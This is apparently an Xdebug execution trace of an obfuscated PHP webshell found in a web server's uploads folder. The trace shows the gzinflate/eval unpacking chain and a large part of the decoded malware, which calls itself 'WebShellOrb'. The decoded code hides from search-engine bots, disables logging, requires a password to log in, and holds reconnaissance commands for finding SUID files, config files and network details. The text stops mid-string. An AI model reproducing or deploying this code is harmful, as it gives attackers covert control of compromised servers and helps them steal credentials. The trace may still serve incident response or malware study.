Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 01:44:06.134968] 1 0 1 0.000189 393464 1 3 0 0.000292 396000 {main} 1 /var/www/html/uploads/ob.php 0 0 2 4 0 0.000318 396000 file 0 /var/www/html/uploads/ob.php 1 1 '/var/www/html/uploads/ob.php' 2 4 1 0.000400 466160 2 4 R [0 => ' ' ' ' 655, 1 => 236, 2 => 40] 3 10 0 0.001327 471176 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 3 ' ' ' 655, 1 => 236, 2 => 40] 3 16 0 0.001979 472560 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 2 ' ' ' 655, 1 => 236, 2 => 40] 3 20 0 0.002675 538096 substr 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 3 '7?n{q|Pz\025şu\016\027\017Of\037o:\'yW?_\fr\0317_Л}x7_.~ȍ#h~\004O\026OhM\037&o~\006>~Qqx0\037ЮjRMIA\037\'4D\030\vC-B\003n˭vRC0 N\0230`\000Voϝ4G\033sڼa.\\_~h\017FKm\0378\016\0164\037wL7{\005G1\b,E\001ɗ+o[o;/y\016 ֜yqlH򂏹\004xb\032\017\b(g\0' 3 24 0 0.004170 603712 gzinflate 0 /var/www/html/uploads/ob.php(1) : eval()'d code 1 1 'ֱ\0060[,\002mTZ\'Nc\v\002 \t\004!\000,\000H^cY̙37/>7?n{q|Pz\025şu\016\027\017Of\037o:\'yW?_\fr\0317_Л}x7_.~ȍ#h~\004O\026OhM\037&o~\006>~Qqx0\037ЮjRMIA\037\'4D\030\vC-B\003n˭vRC0 N\0230`\000Voϝ4G\033sڼa.\\_~h\017FKm\0378\016\0164\037wL7{\005G1\b,E\001ɗ+o[o;/y\016 ֜yqlH򂏹\004xb\032\017\b(g\0' 3 24 1 0.005671 767584 3 24 R '${"\\x47L\\x4f\\x42A\\x4cS"}["\\x6a\\x65\\x68n\\x77\\x6b\\x76\\x68q"]="d\\x65\\x66\\x61\\x75l\\x74\\x5f\\x61\\x63\\x74\\x69on";${"\\x47\\x4c\\x4fB\\x41L\\x53"}["jbz\\x65\\x6f\\x61b"]="b\\x69\\x6e\\x64_\\x70\\x6f\\x72\\x74\\x5fp";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x72\\x6e\\x70\\x68\\x62\\x77\\x67\\x71y\\x61\\x64"]="\\x74";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x65e\\x6cp\\x63\\x66\\x73\\x75\\x79\\x6d"]="\\x77";${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x6b\\x6di\\x69h\\x63qp\\x61\\x6e\\x72\\x73"]="\\x66i\\x6' 2 21 1 0.005984 702016 2 21 R '${"\\x47L\\x4f\\x42A\\x4cS"}["\\x6a\\x65\\x68n\\x77\\x6b\\x76\\x68q"]="d\\x65\\x66\\x61\\x75l\\x74\\x5f\\x61\\x63\\x74\\x69on";${"\\x47\\x4c\\x4fB\\x41L\\x53"}["jbz\\x65\\x6f\\x61b"]="b\\x69\\x6e\\x64_\\x70\\x6f\\x72\\x74\\x5fp";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x72\\x6e\\x70\\x68\\x62\\x77\\x67\\x71y\\x61\\x64"]="\\x74";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x65e\\x6cp\\x63\\x66\\x73\\x75\\x79\\x6d"]="\\x77";${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x6b\\x6di\\x69h\\x63qp\\x61\\x6e\\x72\\x73"]="\\x66i\\x6' 2 25 0 0.010881 1473464 eval 1 '${"\\x47L\\x4f\\x42A\\x4cS"}["\\x6a\\x65\\x68n\\x77\\x6b\\x76\\x68q"]="d\\x65\\x66\\x61\\x75l\\x74\\x5f\\x61\\x63\\x74\\x69on";${"\\x47\\x4c\\x4fB\\x41L\\x53"}["jbz\\x65\\x6f\\x61b"]="b\\x69\\x6e\\x64_\\x70\\x6f\\x72\\x74\\x5fp";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x72\\x6e\\x70\\x68\\x62\\x77\\x67\\x71y\\x61\\x64"]="\\x74";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x65e\\x6cp\\x63\\x66\\x73\\x75\\x79\\x6d"]="\\x77";${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x6b\\x6di\\x69h\\x63qp\\x61\\x6e\\x72\\x73"]="\\x66i\\x6c\\x65";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x67le\\x74\\x77n\\x73\\x70\\x6a\\x6et\\x64"]="t\\x69t\\x6ce";${"\\x47L\\x4fB\\x41LS"}["\\x64\\x6e\\x63w\\x62w\\x6c\\x72\\x62d"]="tbl\\x73_\\x72\\x65s";${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x78\\x72\\x64\\x62\\x6ex\\x66\\x6d\\x76\\x74"]="\\x76\\x61\\x6c\\x75\\x65";${"\\x47LO\\x42\\x41\\x4c\\x53"}["t\\x78\\x79\\x6a\\x6dy\\x77p"]="\\x74\\x61\\x62le";${"\\x47L\\x4f\\x42\\x41\\x4cS"}["a\\x6de\\x68\\x74\\x67"]="c\\x6flu\\x6dns";${"G\\x4cOB\\x41L\\x53"}["sd\\x69\\x67\\x74\\x64\\x67\\x69h"]="\\x68\\x65\\x61\\x64";${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x6c\\x77\\x71\\x72i\\x6f"]="s\\x71\\x6c";${"G\\x4c\\x4f\\x42A\\x4cS"}["\\x6c\\x66lj\\x72\\x64m\\x63"]="\\x63\\x72\\x65\\x61te";${"G\\x4c\\x4f\\x42A\\x4cS"}["l\\x68\\x79d\\x6dm\\x79\\x77\\x77\\x6e"]="\\x73t\\x72";${"\\x47\\x4cOB\\x41\\x4cS"}["\\x62opmw\\x65\\x6ag\\x69\\x72f"]="d\\x62";${"G\\x4cOBAL\\x53"}["\\x6f\\x6d\\x61\\x6ex\\x66\\x72\\x6fpl"]="\\x6ci\\x6e\\x65";${"\\x47LOB\\x41\\x4c\\x53"}["\\x6e\\x6e\\x77\\x74\\x63\\x6e\\x76\\x76"]="ser\\x76\\x65r";${"\\x47\\x4c\\x4fBA\\x4c\\x53"}["\\x63\\x69v\\x6b\\x67\\x6b\\x6b\\x63"]="\\x61t\\x74empt\\x73";${"G\\x4cO\\x42A\\x4c\\x53"}["\\x6e\\x73\\x63\\x71aqn"]="\\x73\\x75\\x63\\x63\\x65s\\x73";${"GLOB\\x41\\x4c\\x53"}["\\x62d\\x72\\x6c\\x77\\x6a\\x74t\\x6b"]="l\\x6f\\x67\\x69\\x6e";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x69c\\x64\\x75ir\\x76\\x63"]="\\x70\\x61ss";${"\\x47\\x4cO\\x42A\\x4c\\x53"}["y\\x6dhn\\x6e\\x70"]="\\x72\\x65\\x73";${"G\\x4cO\\x42\\x41\\x4c\\x53"}["\\x6e\\x68\\x65g\\x79\\x75\\x6ak\\x62\\x67"]="\\x70\\x6fr\\x74";${"G\\x4c\\x4f\\x42\\x41L\\x53"}["qe\\x6c\\x61\\x73\\x67\\x6d\\x6fq"]="\\x69p";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x73r\\x68\\x70\\x75\\x6e\\x6f"]="\\x6ce\\x6e";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["\\x72\\x69fo\\x68o\\x6a\\x75"]="\\x74\\x69\\x6de";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["bgb\\x6e\\x64\\x67\\x6c\\x77"]="p\\x65\\x72\\x6ds";${"G\\x4cO\\x42A\\x4c\\x53"}["\\x74b\\x72\\x68\\x71\\x62\\x69"]="\\x66\\x70";${"G\\x4c\\x4fB\\x41L\\x53"}["\\x67\\x69g\\x73m\\x71\\x79\\x6f\\x77\\x62"]="p\\x61th\\x73";${"\\x47\\x4cOBAL\\x53"}["dyv\\x74h\\x65\\x74"]="\\x73\\x74\\x72\\x69\\x6e\\x67\\x54o\\x6f\\x6cs";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x6dw\\x70\\x6fy\\x74\\x6d\\x77u\\x73"]="\\x72";${"\\x47\\x4cOB\\x41\\x4cS"}["\\x67\\x61y\\x61\\x69\\x6f"]="l";${"\\x47\\x4c\\x4f\\x42\\x41LS"}["s\\x6cz\\x62u\\x67\\x64s"]="\\x62";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x78f\\x62\\x79fx\\x61\\x6a\\x74"]="\\x61";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x70\\x75nnqn\\x73\\x77\\x79"]="\\x67\\x72";${"\\x47L\\x4fB\\x41\\x4c\\x53"}["z\\x70p\\x7a\\x63\\x73\\x66go"]="o\\x77";${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x71\\x61n\\x68u\\x6f"]="di\\x72Co\\x6ete\\x6e\\x74";${"G\\x4c\\x4fBALS"}["\\x78\\x7a\\x6fcq\\x72o\\x65\\x73t\\x73\\x70"]="\\x64i\\x72\\x73";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x6bh\\x74k\\x62t\\x62\\x63p"]="\\x6d\\x61\\x74\\x63h";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x77\\x78\\x66\\x6c\\x72\\x6b\\x67\\x68\\x67"]="s\\x6f\\x72\\x74";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["o\\x6f\\x63\\x77\\x61b\\x6f"]="\\x6b\\x65\\x79";${"G\\x4c\\x4f\\x42ALS"}["x\\x71\\x6a\\x63y\\x6a\\x66\\x66\\x69"]="i\\x74er\\x61\\x74\\x6fr";${"GL\\x4f\\x42\\x41\\x4cS"}["\\x61\\x69\\x68x\\x74\\x67u\\x6a"]="h";${"\\x47\\x4c\\x4fB\\x41\\x4c\\x53"}["\\x73\\x6d\\x63bg\\x63\\x79\\x69"]="\\x64";${"\\x47L\\x4f\\x42\\x41LS"}["\\x73\\x62u\\x77\\x77\\x6b\\x6fz\\x74"]="\\x63";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x76x\\x68\\x64\\x6f\\x69\\x68ql\\x6bd"]="\\x74\\x79\\x70\\x65";${"\\x47\\x4cO\\x42AL\\x53"}["\\x65\\x63b\\x63\\x6d\\x69y\\x62\\x75\\x65"]="\\x74\\x6dp";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x70\\x68g\\x6a\\x79\\x74x"]="\\x64\\x61\\x6eg\\x65r";${"\\x47\\x4c\\x4fB\\x41L\\x53"}["m\\x65\\x72c\\x67md\\x77e"]="\\x74\\x65mp";${"\\x47L\\x4f\\x42\\x41\\x4cS"}["o\\x6e\\x6d\\x64\\x72\\x78"]="\\x6e";${"\\x47\\x4c\\x4fB\\x41LS"}["y\\x6cu\\x78e\\x63l\\x6c"]="f\\x69les";${"G\\x4cO\\x42\\x41L\\x53"}["r\\x62\\x61\\x73qp"]="\\x66\\x69len\\x61m\\x65";${"G\\x4cO\\x42\\x41\\x4c\\x53"}["q\\x75\\x62w\\x6bb"]="\\x64\\x68";${"G\\x4c\\x4fBA\\x4cS"}["\\x6ceu\\x77\\x75\\x6d\\x74"]="di\\x72";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["vwhnm\\x76\\x62\\x7a\\x6d\\x75qd"]="p";${"\\x47\\x4cO\\x42\\x41\\x4c\\x53"}["\\x75\\x6fp\\x75\\x70g\\x79"]="\\x73";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x73\\x62e\\x72\\x6c\\x67"]="f";${"G\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x66nkk\\x64\\x74gr"]="\\x69\\x6e";${"\\x47\\x4c\\x4fBA\\x4cS"}["\\x71\\x64\\x75\\x72\\x71\\x6d\\x71jm\\x62r"]="\\x6f\\x75t";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["b\\x72v\\x6a\\x6d\\x65"]="\\x69\\x73_\\x77\\x72\\x69\\x74a\\x62l\\x65";${"\\x47LO\\x42\\x41\\x4c\\x53"}["p\\x6c\\x79\\x75\\x6chi\\x75r\\x6f"]="\\x66\\x72\\x65\\x65\\x53\\x70\\x61\\x63\\x65";${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x63bl\\x77\\x73\\x66\\x73\\x72\\x78\\x64w"]="dr\\x69\\x76\\x65";${"\\x47L\\x4f\\x42A\\x4cS"}["\\x6ff\\x68w\\x73m\\x6d\\x6d"]="d\\x72\\x69\\x76e\\x73";${"\\x47L\\x4fBA\\x4cS"}["\\x76v\\x64x\\x6d\\x6a\\x62g\\x65\\x63"]="\\x76";${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x77\\x77\\x74f\\x67\\x63\\x64d\\x66"]="m\\x65\\x6e\\x75";${"G\\x4c\\x4fBA\\x4c\\x53"}["\\x66s\\x6bqow\\x79\\x6f\\x76\\x70\\x6b"]="\\x6d";${"G\\x4c\\x4fBAL\\x53"}["\\x62d\\x6dq\\x77\\x71v\\x66q\\x6e"]="\\x69t\\x65\\x6d";${"\\x47\\x4c\\x4fBALS"}["m\\x67\\x76\\x6b\\x78\\x67c\\x6d\\x6ffyr"]="\\x6f\\x70\\x74\\x5f\\x63\\x68\\x61\\x72\\x73\\x65\\x74s";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x66\\x66s\\x77l\\x68\\x61\\x62"]="\\x70a\\x74\\x68";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x72\\x78\\x67t\\x64d\\x73\\x7aw\\x71\\x6er"]="\\x6a";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x6c\\x6bu\\x79o\\x6a\\x6a"]="\\x69";${"\\x47L\\x4f\\x42A\\x4c\\x53"}["qu\\x6d\\x72\\x63ez"]="\\x63\\x77\\x64\\x5f\\x6c\\x69\\x6eks";${"\\x47\\x4cO\\x42A\\x4cS"}["g\\x6b\\x6a\\x79rzx\\x6eg"]="\\x75id";${"GL\\x4f\\x42A\\x4c\\x53"}["\\x68xh\\x66\\x62\\x66\\x6c\\x68\\x7alt"]="\\x75\\x73e\\x72";${"\\x47\\x4cOB\\x41\\x4c\\x53"}["\\x75\\x79r\\x7afu\\x62j\\x6c"]="gr\\x6f\\x75\\x70";${"\\x47L\\x4fBA\\x4c\\x53"}["\\x65\\x6c\\x6b\\x79\\x78\\x6diy\\x75"]="\\x67\\x69d";${"\\x47L\\x4fBA\\x4c\\x53"}["\\x63\\x63oxzyjv"]="\\x72\\x65\\x6cea\\x73\\x65";${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["b\\x78y\\x6f\\x79tp\\x72\\x64"]="\\x65x\\x70l\\x69n\\x6b";${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["v\\x67\\x6b\\x6f\\x6ei\\x7a\\x71"]="\\x6b\\x65\\x72n\\x65\\x6c";${"G\\x4c\\x4fB\\x41L\\x53"}["\\x6d\\x74\\x6d\\x63\\x67\\x62\\x75xs\\x74\\x6a"]="\\x74\\x6ft\\x61\\x6c\\x53\\x70\\x61\\x63\\x65";${"G\\x4c\\x4f\\x42A\\x4cS"}["u\\x6f\\x6cb\\x79j\\x63o\\x77\\x75\\x75m"]="\\x61\\x6c\\x69\\x61\\x73\\x65s";${"\\x47\\x4cO\\x42A\\x4c\\x53"}["\\x72\\x71\\x6c\\x72\\x76\\x72q\\x6ad\\x79e"]="\\x63w\\x64";${"\\x47L\\x4fBA\\x4cS"}["p\\x70\\x79\\x78s\\x62\\x73\\x73m"]="hom\\x65\\x5f\\x63w\\x64";${"\\x47\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x63\\x70x\\x73\\x6e\\x68fr\\x76\\x78\\x6e\\x72"]="sa\\x66e\\x5fm\\x6f\\x64\\x65";${"\\x47L\\x4f\\x42\\x41\\x4c\\x53"}["t\\x6e\\x67pl\\x62ofy\\x66xj"]="\\x6f\\x73";$slswzwwiy="\\x6f\\x73";$qvuswnnljk="\\x63\\x77\\x64";${"\\x47L\\x4f\\x42\\x41\\x4cS"}["o\\x71\\x76\\x72\\x79xe"]="k";${"G\\x4c\\x4f\\x42\\x41L\\x53"}["\\x65\\x67\\x63\\x6e\\x79\\x6d\\x75\\x6ak\\x69u"]="a\\x72\\x72a\\x79";${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x64\\x62\\x64zn\\x6a\\x67\\x78v"]="\\x75s\\x65r\\x41\\x67e\\x6e\\x74\\x73";${"\\x47LO\\x42A\\x4cS"}["\\x63\\x64\\x6b\\x70\\x61\\x72\\x6e\\x64\\x6fqp"]="\\x61\\x75\\x74\\x68_pass";${"\\x47LO\\x42\\x41LS"}["w\\x71\\x6erz\\x76"]="de\\x66a\\x75\\x6c\\x74_\\x75\\x73e\\x5f\\x61j\\x61\\x78";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x63\\x6e\\x72eqx\\x78\\x78\\x79x"]="c\\x6fl\\x6fr";${"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x76n\\x76\\x75\\x65\\x70"]="\\x6f\\x73";error_reporting(0);$rcnyvpgwp="\\x64\\x65f\\x61ult\\x5f\\x61ct\\x69o\\x6e";${${"\\x47L\\x4f\\x42\\x41\\x4cS"}["\\x63nreqx\\x78\\x78\\x79\\x78"]}="#d\\x66\\x35";${$rcnyvpgwp}="\\x46i\\x6ces\\x4d\\x61n";${${"G\\x4c\\x4fB\\x41L\\x53"}["\\x77\\x71\\x6e\\x72z\\x76"]}=true;${"\\x47\\x4cOB\\x41L\\x53"}["\\x68x\\x77o\\x77\\x69\\x78k\\x63a\\x68"]="di\\x73a\\x62le\\x5f\\x66\\x75\\x6e\\x63\\x74i\\x6f\\x6e\\x73";${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x6f\\x65\\x63\\x79\\x69\\x7a\\x77\\x64\\x67"]="\\x64\\x65\\x66\\x61u\\x6ct\\x5f\\x63\\x68\\x61rs\\x65\\x74";${${"\\x47\\x4cO\\x42A\\x4cS"}["\\x6fe\\x63\\x79\\x69\\x7a\\x77\\x64\\x67"]}="W\\x69\\x6e\\x64\\x6fw\\x73-1\\x32\\x35\\x31";${${"\\x47L\\x4f\\x42AL\\x53"}["\\x63d\\x6b\\x70\\x61\\x72\\x6ed\\x6f\\x71\\x70"]}="";if(!empty($_SERVER["H\\x54\\x54P\\x5f\\x55S\\x45R\\x5f\\x41\\x47EN\\x54"])){$funwst="\\x75s\\x65\\x72A\\x67\\x65\\x6ets";${$funwst}=array("G\\x6f\\x6fgl\\x65","S\\x6c\\x75\\x72\\x70","M\\x53N\\x42ot","\\x69a_\\x61rc\\x68i\\x76er","\\x59\\x61\\x6e\\x64e\\x78","\\x52\\x61mb\\x6cer");if(preg_match("/".implode("|",${${"GL\\x4f\\x42\\x41\\x4c\\x53"}["\\x64\\x62\\x64\\x7a\\x6ejg\\x78\\x76"]})."/\\x69",$_SERVER["\\x48\\x54TP\\x5fUSE\\x52_\\x41\\x47\\x45N\\x54"])){header("\\x48TTP/\\x31\\x2e0\\x20\\x340\\x34\\x20Not Fo\\x75\\x6e\\x64");exit;}}@ini_set("e\\x72\\x72or_\\x6cog",NULL);@ini_set("lo\\x67\\x5fer\\x72ors",0);@ini_set("\\x6d\\x61\\x78\\x5f\\x65xe\\x63\\x75tio\\x6e\\x5ftime",0);$jkanbtmrlf="a\\x75\\x74h\\x5f\\x70\\x61\\x73s";@set_time_limit(0);$iqvdvclroyby="a\\x6ci\\x61s\\x65\\x73";@define("Web\\x53\\x68e\\x6cl\\x4f\\x72b\\x5fV\\x45R\\x53IO\\x4e","\\x32.6");if(get_magic_quotes_gpc()){function WebShellOrbstripslashes($array){${"G\\x4cO\\x42\\x41\\x4cS"}["\\x6a\\x64\\x63u\\x75\\x72k\\x71"]="a\\x72\\x72ay";$ziszkiem="\\x61\\x72\\x72\\x61\\x79";return is_array(${${"G\\x4cOB\\x41\\x4cS"}["egc\\x6e\\x79\\x6d\\x75\\x6ak\\x69u"]})?array_map("\\x57eb\\x53h\\x65ll\\x4fr\\x62st\\x72\\x69p\\x73\\x6ca\\x73hes",${$ziszkiem}):stripslashes(${${"\\x47L\\x4fB\\x41\\x4c\\x53"}["\\x6ad\\x63\\x75\\x75\\x72\\x6b\\x71"]});}$_POST=WebShellOrbstripslashes($_POST);$_COOKIE=WebShellOrbstripslashes($_COOKIE);}function WebShellOrbLogin(){die("\\x3c\\x70\\x72e\\x20\\x61\\x6c\\x69\\x67\\x6e\\x3dc\\x65n\\x74er\\x3e\\x3cfo\\x72\\x6d\\x20me\\x74\\x68od=p\\x6f\\x73\\x74\\x3ePas\\x73\\x77ord:\\x20\\x3c\\x69\\x6epu\\x74 t\\x79p\\x65=\\x73u\\x62\\x6di\\x74 \\x76a\\x6c\\x75e\\x3d\'>>\'>\\x3c/\\x66o\\x72\\x6d\\x3e\\x3c/pre\\x3e");}function WebShellOrbsetcookie($k,$v){${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["\\x69n\\x62\\x63\\x66\\x64m\\x6c"]="\\x6b";$gltqybwss="\\x76";$_COOKIE[${${"\\x47\\x4cO\\x42\\x41\\x4cS"}["\\x69n\\x62cf\\x64\\x6d\\x6c"]}]=${$gltqybwss};${"\\x47\\x4c\\x4f\\x42AL\\x53"}["\\x6c\\x69\\x79\\x72\\x7a\\x67gw\\x69"]="\\x76";setcookie(${${"\\x47LO\\x42\\x41\\x4c\\x53"}["\\x6fqvryx\\x65"]},${${"\\x47\\x4c\\x4fB\\x41LS"}["\\x6ci\\x79\\x72\\x7ag\\x67w\\x69"]});}if(!empty(${$jkanbtmrlf})){$mewlffwp="a\\x75\\x74\\x68\\x5f\\x70\\x61\\x73s";${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x63\\x63\\x72\\x72e\\x63jg\\x6dg"]="au\\x74\\x68\\x5f\\x70\\x61ss";${"\\x47L\\x4f\\x42A\\x4c\\x53"}["\\x75w\\x6c\\x6ex\\x6eq\\x6b\\x76\\x79\\x78"]="a\\x75\\x74h\\x5f\\x70\\x61\\x73\\x73";if(isset($_POST["\\x70\\x61\\x73s"])&&(md5($_POST["pa\\x73\\x73"])==${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["u\\x77\\x6c\\x6e\\x78\\x6e\\x71\\x6b\\x76\\x79x"]}))WebShellOrbsetcookie(md5($_SERVER["\\x48\\x54TP\\x5f\\x48OS\\x54"]),${$mewlffwp});if(!isset($_COOKIE[md5($_SERVER["\\x48TT\\x50_\\x48\\x4fS\\x54"])])||($_COOKIE[md5($_SERVER["H\\x54\\x54P_\\x48\\x4fS\\x54"])]!=${${"\\x47\\x4c\\x4f\\x42A\\x4cS"}["\\x63cr\\x72\\x65\\x63\\x6a\\x67\\x6d\\x67"]}))WebShellOrbLogin();}if(strtolower(substr(PHP_OS,0,3))=="\\x77i\\x6e")${${"G\\x4c\\x4f\\x42A\\x4c\\x53"}["\\x76\\x6e\\x76u\\x65\\x70"]}="\\x77\\x69\\x6e";else${${"\\x47L\\x4f\\x42A\\x4cS"}["t\\x6eg\\x70l\\x62\\x6ff\\x79\\x66\\x78j"]}="ni\\x78";${${"GL\\x4f\\x42\\x41LS"}["\\x63\\x70\\x78\\x73\\x6e\\x68\\x66\\x72\\x76\\x78\\x6e\\x72"]}=@ini_get("safe\\x5f\\x6d\\x6f\\x64e");if(!${${"\\x47\\x4c\\x4f\\x42\\x41L\\x53"}["\\x63\\x70x\\x73n\\x68\\x66r\\x76\\x78\\x6er"]})error_reporting(0);${${"\\x47LO\\x42\\x41L\\x53"}["hxwo\\x77i\\x78kc\\x61h"]}=@ini_get("\\x64isa\\x62le\\x5ff\\x75n\\x63\\x74ion\\x73");${${"GLO\\x42\\x41\\x4c\\x53"}["p\\x70\\x79\\x78\\x73\\x62s\\x73m"]}=@getcwd();if(isset($_POST["\\x63"]))@chdir($_POST["\\x63"]);${${"G\\x4c\\x4f\\x42\\x41\\x4cS"}["\\x72q\\x6c\\x72vr\\x71\\x6ad\\x79\\x65"]}=@getcwd();if(${$slswzwwiy}=="\\x77\\x69n"){${${"\\x47\\x4c\\x4f\\x42AL\\x53"}["pp\\x79\\x78s\\x62s\\x73\\x6d"]}=str_replace("\\x5c","/",${${"\\x47\\x4cO\\x42\\x41L\\x53"}["\\x70\\x70\\x79\\x78\\x73\\x62\\x73sm"]});$sjfvibvmk="\\x63\\x77\\x64";${$sjfvibvmk}=str_replace("\\\\","/",${${"G\\x4cO\\x42AL\\x53"}["\\x72\\x71lrv\\x72\\x71\\x6ady\\x65"]});}${"\\x47LOBA\\x4cS"}["\\x77\\x6dcg\\x63\\x67\\x75\\x71"]="\\x6fs";if(${$qvuswnnljk}[strlen(${${"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"}["r\\x71\\x6c\\x72\\x76\\x72\\x71\\x6a\\x64\\x79\\x65"]})-1]!="/")${${"\\x47L\\x4fB\\x41L\\x53"}["\\x72\\x71\\x6c\\x72vrqj\\x64\\x79\\x65"]}.="/";if(!isset($_COOKIE[md5($_SERVER["\\x48\\x54TP_\\x48O\\x53T"])."\\x61\\x6aax"]))$_COOKIE[md5($_SERVER["H\\x54TP\\x5f\\x48OST"])."\\x61\\x6a\\x61\\x78"]=(bool)${${"\\x47\\x4c\\x4f\\x42\\x41LS"}["\\x77qn\\x72\\x7a\\x76"]};if(${${"\\x47LO\\x42\\x41\\x4cS"}["\\x77\\x6dc\\x67\\x63\\x67\\x75\\x71"]}=="\\x77\\x69\\x6e")${${"\\x47\\x4c\\x4fB\\x41\\x4cS"}["\\x75o\\x6c\\x62\\x79\\x6a\\x63\\x6fw\\x75\\x75m"]}=array("Li\\x73t Di\\x72ect\\x6fry"=>"dir","Fin\\x64\\x20\\x69n\\x64\\x65\\x78\\x2e\\x70\\x68p\\x20\\x69n\\x20\\x63\\x75r\\x72\\x65\\x6e\\x74 \\x64\\x69\\x72"=>"d\\x69r /s\\x20/\\x77 /\\x62\\x20\\x69\\x6e\\x64ex.p\\x68\\x70","F\\x69n\\x64\\x20*co\\x6efig*.\\x70\\x68p \\x69\\x6e\\x20\\x63ur\\x72\\x65\\x6et dir"=>"di\\x72 /s\\x20/w\\x20/b\\x20*\\x63onf\\x69\\x67*.ph\\x70","\\x53\\x68\\x6f\\x77 a\\x63\\x74i\\x76e \\x63onnectio\\x6es"=>"\\x6ee\\x74\\x73t\\x61t\\x20-an","S\\x68o\\x77\\x20\\x72un\\x6e\\x69ng\\x20\\x73\\x65r\\x76i\\x63\\x65\\x73"=>"n\\x65t\\x20s\\x74\\x61rt","User a\\x63\\x63o\\x75\\x6e\\x74s"=>"\\x6eet\\x20\\x75\\x73e\\x72","\\x53how com\\x70u\\x74\\x65rs"=>"net \\x76i\\x65\\x77","ARP \\x54\\x61ble"=>"ar\\x70 -\\x61","\\x49P \\x43on\\x66\\x69gura\\x74\\x69\\x6fn"=>"\\x69pco\\x6ef\\x69\\x67\\x20/\\x61ll");else${$iqvdvclroyby}=array("\\x4c\\x69st\\x20\\x64i\\x72"=>"ls\\x20-\\x6cha","\\x6ci\\x73t \\x66il\\x65 \\x61\\x74\\x74r\\x69but\\x65s \\x6f\\x6e\\x20a\\x20L\\x69\\x6e\\x75x\\x20s\\x65\\x63ond e\\x78\\x74\\x65nd\\x65d\\x20\\x66\\x69le syste\\x6d"=>"l\\x73\\x61\\x74\\x74\\x72\\x20-\\x76\\x61","sh\\x6f\\x77 \\x6f\\x70e\\x6e\\x65d\\x20\\x70or\\x74\\x73"=>"\\x6e\\x65ts\\x74a\\x74\\x20-\\x61\\x6e |\\x20\\x67re\\x70 -i\\x20\\x6c\\x69\\x73te\\x6e","\\x70\\x72oc\\x65\\x73\\x73 \\x73ta\\x74us"=>"ps \\x61u\\x78","F\\x69n\\x64"=>"","\\x66i\\x6e\\x64 a\\x6cl \\x73\\x75id"=>"find\\x20/ -ty\\x70e\\x20f -\\x70\\x65\\x72\\x6d\\x20-\\x304\\x30\\x300 -\\x6c\\x73","\\x66in\\x64\\x20\\x73\\x75i\\x64 i\\x6e\\x20curre\\x6e\\x74 \\x64\\x69r"=>"\\x66\\x69n\\x64 .\\x20-t\\x79\\x70e\\x20f\\x20-\\x70\\x65r\\x6d\\x20-0\\x34000\\x20-\\x6c\\x73","\\x66\\x69\\x6ed \\x61ll\\x20\\x73\\x67\\x69\\x64"=>"\\x66\\x69nd\\x20/ -t\\x79\\x70\\x65 f\\x20-\\x70e\\x72m\\x20-\\x30\\x320\\x30\\x30\\x20-\\x6c\\x73","\\x66\\x69n\\x64\\x20\\x73\\x67id \\x66il\\x65\\x73 \\x69\\x6e\\x20cu\\x72r\\x65n\\x74 dir"=>"\\x66\\x69\\x6ed \\x2e -ty\\x70\\x65 f -per\\x6d\\x20-\\x30\\x32000 -l\\x73","\\x66i\\x6ed c\\x6fn\\x66\\x69\\x67.i\\x6e\\x63\\x2ephp"=>"f\\x69\\x6e\\x64 / -\\x74y\\x70e \\x66\\x20-\\x6e\\x61m\\x65 \\x63on\\x66\\x69\\x67.in\\x63\\x2e\\x70hp","f\\x69nd\\x20conf\\x69g*"=>"f\\x69\\x6e\\x64 / -\\x74\\x79\\x70\\x65 f -na\\x6de\\x20\\"\\x63o\\x6e\\x66ig*\\x22","\\x66ind 